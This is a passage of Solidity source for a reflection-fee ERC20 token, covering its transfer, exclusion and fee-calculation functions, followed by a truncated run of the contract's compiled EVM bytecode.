tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already included"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee,uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee, tBurnValue,tTax,tLiquidity); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee,uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee, tBurnValue,tTax,tLiquidity); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee,uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee, tBurnValue,tTax,tLiquidity); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee,uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee, tBurnValue,tTax,tLiquidity); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee, uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) private { _rTotal = _rTotal.sub(rFee); _tBurnTotal = _tBurnTotal.add(tFee).add(tBurnValue).add(tTax).add(tLiquidity); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256,uint256,uint256,uint256) { uint256[12] memory _localVal; (_localVal[0]/**tTransferAmount*/, _localVal[1] /**tFee*/, _localVal[2] /**tBurnValue*/,_localVal[8]/*tTAx*/,_localVal[10]/**tLiquidity*/) = _getTValues(tAmount); _localVal[3] /**currentRate*/ = _getRate(); ( _localVal[4] /**rAmount*/, _localVal[5] /**rTransferAmount*/, _localVal[6] /**rFee*/, _localVal[7] /**rBurnValue*/,_localVal[9]/*rTax*/,_localVal[11]/**rLiquidity*/) = _getRValues(tAmount, _localVal[1], _localVal[3], _localVal[2],_localVal[8],_localVal[10]); return (_localVal[4], _localVal[5], _localVal[6], _localVal[0], _localVal[1], _localVal[2],_localVal[8],_localVal[10]); } function _getTValues(uint256 tAmount) private pure returns (uint256, uint256, uint256,uint256,uint256) { uint256[5] memory _localVal; _localVal[0]/**supply*/ = tAmount.div(100).mul(0); _localVal[1]/**tBurnValue*/ = tAmount.div(100).mul(0); _localVal[2]/**tholder*/ = tAmount.div(100).mul(1 ); _localVal[3]/**tLiquidity*/ = tAmount.div(100).mul(15); _localVal[4]/**tTransferAmount*/ = tAmount.sub(_localVal[2]).sub(_localVal[1]).sub(_localVal[0]).sub(_localVal[3]); return (_localVal[4], _localVal[2], _localVal[1],_localVal[0], _localVal[3]); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate, uint256 tBurnValue,uint256 tTax,uint tLiquidity) private pure returns (uint256, uint256, uint256,uint256,uint256,uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rBurnValue = tBurnValue.mul(currentRate); uint256 rLiqidity = tLiquidity.mul(currentRate); uint256 rTax = tTax.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurnValue).sub(rTax).sub(rLiqidity); return (rAmount, rTransferAmount, rFee, rBurnValue,rTax,rLiqidity); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x608060405234801561001057600080fd5b50600436106101375760003560e01c806370a08231116100b8578063a9059cbb1161007c578063a9059cbb146105a3578063cba0e99614610607578063dd62ed3e14610661578063f2cc0c18146106d9578063f2fde38b1461071d578063f84354f11461076157610137565b806370a0823114610426578063715018a61461047e5780638da5cb5b1461048857806395d89b41146104bc578063a457c2d71461053f57610137565b80632d838119116100ff5780632d838119146102f3578063313ce5671461033557806339509351146103565780633c9f861d146103ba5780634549b039146103d857610137565b8063053ab1821461013c57806306fdde031461016a578063095ea7b3146101ed57806318160ddd1461025157806323b872dd1461026f575b600080fd5b6101686004803603602081101561015257600080fd5b81019080803590602001909291905050506107a5565b005b610172610938565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101b2578082015181840152602081019050610197565b50505050905090810190601f1680156101df5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102396004803603604081101561020357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109da565b60405180821515815260200191505060405180910390f35b6102596109f8565b6040518082815260200191505060405180910390f35b6102db6004803603606081101561028557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a0e565b60405180821515815260200191505060405180910390f35b61031f6004803603602081101561030957600080fd5b8101908080359060200190929190505050610ae7565b6040518082815260200191505060405180910390f35b61033d610b6b565b604051808260ff16815260200191505060405180910390f35b6103a26004803603604081101561036c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b82565b60405180821515815260200191505060405180910390f35b6103c2610c35565b6040518082815260200191505060405180910390f35b610410600480360360408110156103ee57600080fd5b8101908080359060200190929190803515159060200190929190505050610c3f565b6040518082815260200191505060405180910390f35b6104686004803603602081101561043c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d06565b6040518082815260200191505060405180910390f35b610486610df1565b005b610490610f77565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104c4610fa0565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105045780820151818401526020810190506104e9565b50505050905090810190601f1680156105315780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61058b6004803603604081101561055557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611042565b60405180821515815260200191505060405180910390f35b6105ef600480360360408110156105b957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061110f565b60405180821515815260200191505060405180910390f35b6106496004803603602081101561061d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061112d565b60405180821515815260200191505060405180910390f35b6106c36004803603604081101561067757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611183565b6040518082815260200191505060405180910390f35b61071b600480360360208110156106ef57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061120a565b005b61075f6004803603602081101561073357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611524565b005b6107a36004803603602081101561077757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061172f565b005b60006107af611ab9565b9050600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610854576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c8152602001806137fb602c913960400191505060405180910390fd5b600061085f83611ac1565b5050505050505090506108ba81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cfd90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061091281600654611cfd90919063ffffffff16565b60068190555061092d83600754611d4790919063ffffffff16565b600781905550505050565b606060088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109d05780601f106109a5576101008083540402835291602001916109d0565b820191906000526020600020905b8154815290600101906020018083116109b357829003601f168201915b5050505050905090565b60006109ee6109e7611ab9565b8484611dcf565b6001905092915050565b60006d314dc6448d9338c15b0a00000000905090565b6000610a1b848484611fc6565b610adc84610a27611ab9565b610ad78560405180606001604052806028815260200161376160289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a8d611ab9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241f9092919063ffffffff16565b611dcf565b600190509392505050565b6000600654821115610b44576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a8152602001806136ce602a913960400191505060405180910390fd5b6000610b4e6124df565b9050610b63818461250a90919063ffffffff16565b915050919050565b6000600a60009054906101000a900460ff16905090565b6000610c2b610b8f611ab9565b84610c268560036000610ba0611ab9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4790919063ffffffff16565b611dcf565b6001905092915050565b6000600754905090565b60006d314dc6448d9338c15b0a00000000831115610cc5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f416d6f756e74206d757374206265206c657373207468616e20737570706c790081525060200191505060405180910390fd5b81610ce7576000610cd584611ac1565b50505050505050905080915050610d00565b6000610cf284611ac1565b505050505050915050809150505b92915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610da157600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610dec565b610de9600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ae7565b90505b919050565b610df9611ab9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eb9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110385780601f1061100d57610100808354040283529160200191611038565b820191906000526020600020905b81548152906001019060200180831161101b57829003601f168201915b5050505050905090565b600061110561104f611ab9565b84611100856040518060600160405280602581526020016138276025913960036000611079611ab9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241f9092919063ffffffff16565b611dcf565b6001905092915050565b600061112361111c611ab9565b8484611fc6565b6001905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611212611ab9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611392576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561146657611422600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ae7565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506005819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61152c611ab9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611672576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806136f86026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611737611ab9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166118b6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c726561647920696e636c75646564000000000081525060200191505060405180910390fd5b60005b600580549050811015611ab5578173ffffffffffffffffffffffffffffffffffffffff16600582815481106118ea57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611aa85760056001600580549050038154811061194657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166005828154811061197e57fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506005805480611a6e57fe5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690559055611ab5565b80806001019150506118b9565b5050565b600033905090565b600080600080600080600080611ad5613665565b611ade8a612554565b856000600c8110611aeb57fe5b60200201866001600c8110611afc57fe5b60200201876002600c8110611b0d57fe5b60200201886008600c8110611b1e57fe5b6020020189600a600c8110611b2f57fe5b6020020185815250858152508581525085815250858152505050505050611b546124df565b816003600c8110611b6157fe5b602002018181525050611bcd8a826001600c8110611b7b57fe5b6020020151836003600c8110611b8d57fe5b6020020151846002600c8110611b9f57fe5b6020020151856008600c8110611bb157fe5b602002015186600a600c8110611bc357fe5b6020020151612769565b866004600c8110611bda57fe5b60200201876005600c8110611beb57fe5b60200201886006600c8110611bfc57fe5b60200201896007600c8110611c0d57fe5b602002018a6009600c8110611c1e57fe5b602002018b600b600c8110611c2f57fe5b60200201868152508681525086815250868152508681525086815250505050505050806004600c8110611c5e57fe5b6020020151816005600c8110611c7057fe5b6020020151826006600c8110611c8257fe5b6020020151836000600c8110611c9457fe5b6020020151846001600c8110611ca657fe5b6020020151856002600c8110611cb857fe5b6020020151866008600c8110611cca57fe5b602002015187600a600c8110611cdc57fe5b60200201519850985098509850985098509850985050919395975091939597565b6000611d3f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061241f565b905092915050565b600080828401905083811015611dc5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611e55576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806137d76024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611edb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061371e6022913960400191505060405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561204c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806137b26025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156120d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806136ab6023913960400191505060405180910390fd5b6000811161212b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806137896029913960400191505060405180910390fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156121ce5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156121e3576121de838383612859565b61241a565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156122865750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561229b57612296838383612abc565b612419565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561233f5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156123545761234f838383612d1f565b612418565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156123f65750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561240b57612406838383612eed565b612417565b612416838383612d1f565b5b5b5b5b505050565b60008383111582906124cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612491578082015181840152602081019050612476565b50505050905090810190601f1680156124be5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008060006124ec6131e5565b91509150612503818361250a90919063ffffffff16565b9250505090565b600061254c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506134a6565b905092915050565b6000806000806000612564613688565b61258b600061257d60648a61250a90919063ffffffff16565b61356c90919063ffffffff16565b8160006005811061259857fe5b6020020181815250506125c860006125ba60648a61250a90919063ffffffff16565b61356c90919063ffffffff16565b816001600581106125d557fe5b60200201818152505061260560016125f760648a61250a90919063ffffffff16565b61356c90919063ffffffff16565b8160026005811061261257fe5b602002018181525050612642600f61263460648a61250a90919063ffffffff16565b61356c90919063ffffffff16565b8160036005811061264f57fe5b6020020181815250506126e58160036005811061266857fe5b60200201516126d78360006005811061267d57fe5b60200201516126c98560016005811061269257fe5b60200201516126bb876002600581106126a757fe5b60200201518e611cfd90919063ffffffff16565b611cfd90919063ffffffff16565b611cfd90919063ffffffff16565b611cfd90919063ffffffff16565b816004600581106126f257fe5b6020020181815250508060046005811061270857fe5b60200201518160026005811061271a57fe5b60200201518260016005811061272c57fe5b60200201518360006005811061273e57fe5b60200201518460036005811061275057fe5b6020020151955095509550955095505091939590929450565b60008060008060008060006127878b8e61356c90919063ffffffff16565b9050600061279e8c8e61356c90919063ffffffff16565b905060006127b58d8d61356c90919063ffffffff16565b905060006127cc8e8c61356c90919063ffffffff16565b905060006127e38f8e61356c90919063ffffffff16565b905060006128308361282284612814886128068b8d611cfd90919063ffffffff16565b611cfd90919063ffffffff16565b611cfd90919063ffffffff16565b611cfd90919063ffffffff16565b90508581868685879b509b509b509b509b509b5050505050505096509650965096509650969050565b60008060008060008060008061286e89611ac1565b975097509750975097509750975097506128d089600260008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cfd90919063ffffffff16565b600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061296588600160008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cfd90919063ffffffff16565b600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506129fa87600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4790919063ffffffff16565b600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a4a86858585856135f2565b8973ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a35050505050505050505050565b600080600080600080600080612ad189611ac1565b97509750975097509750975097509750612b3388600160008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cfd90919063ffffffff16565b600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612bc885600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4790919063ffffffff16565b600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c5d87600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4790919063ffffffff16565b600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612cad86858585856135f2565b8973ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a35050505050505050505050565b600080600080600080600080612d3489611ac1565b97509750975097509750975097509750612d9688600160008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cfd90919063ffffffff16565b600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e2b87600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4790919063ffffffff16565b600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e7b86858585856135f2565b8973ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a35050505050505050505050565b600080600080600080600080612f0289611ac1565b97509750975097509750975097509750612f6489600260008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cfd90919063ffffffff16565b600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ff988600160008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cfd90919063ffffffff16565b600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061308e85600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4790919063ffffffff16565b600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061312387600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4790919063ffffffff16565b600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061317386858585856135f2565b8973ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a35050505050505050505050565b6000806000600654905060006d314dc6448d9338c15b0a00000000905060005b6005805490508110156134515782600160006005848154811061322457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061330b57508160026000600584815481106132a357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561332e576006546d314dc6448d9338c15b0a00000000945094505050506134a2565b6133b7600160006005848154811061334257fe5b9060005260206000200160009054906101000a900473fffff